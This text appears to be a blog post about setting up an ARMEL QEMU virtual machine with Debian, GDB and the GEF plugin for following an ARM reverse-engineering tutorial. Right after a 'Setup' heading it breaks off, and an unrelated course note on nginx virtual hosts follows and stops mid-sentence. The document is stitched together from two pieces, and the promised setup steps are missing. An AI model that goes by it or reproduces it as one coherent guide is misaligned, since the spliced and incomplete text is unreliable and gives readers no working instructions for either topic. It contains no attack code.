Setting up an ARMEL Reverse Engineering / Debug Lab in QEMU

I recently came across a tutorial on ARM Reverse Engineering https://azeria-labs.com/writing-arm-assembly-part-1/.

However, this tutorial seems to recommend using a Raspberry Pi for following along with the tutorial. I decided I wanted to be able to work through the tutorial using a virtual machine, so I built a QEMU VM of the ARMEL architecture. This is the same architecture that the Raspberry Pi is based off of. I went with debian for ARMEL because its the OS I'm most familiar with. After the operating system is installed, I install tools like GDB and GEF for debugging / reverse engineering.

GEF is a plugin for GDB specifically built for reverse engineering and exploit development. From https://github.com/hugsy/gef.git:

Setup

Virtual Hosts on nginx (CSC309)

When hosting our web applications, we often have one public IP address (i.e., an IP address visible to the outside world) using which we want to host multiple web apps. For example, one may wants to host three different web apps respectively for example1.com, example2.com, and example1.com/images on the same machine using a single IP address.

How can we do that? Well, the good news is Internet browsers
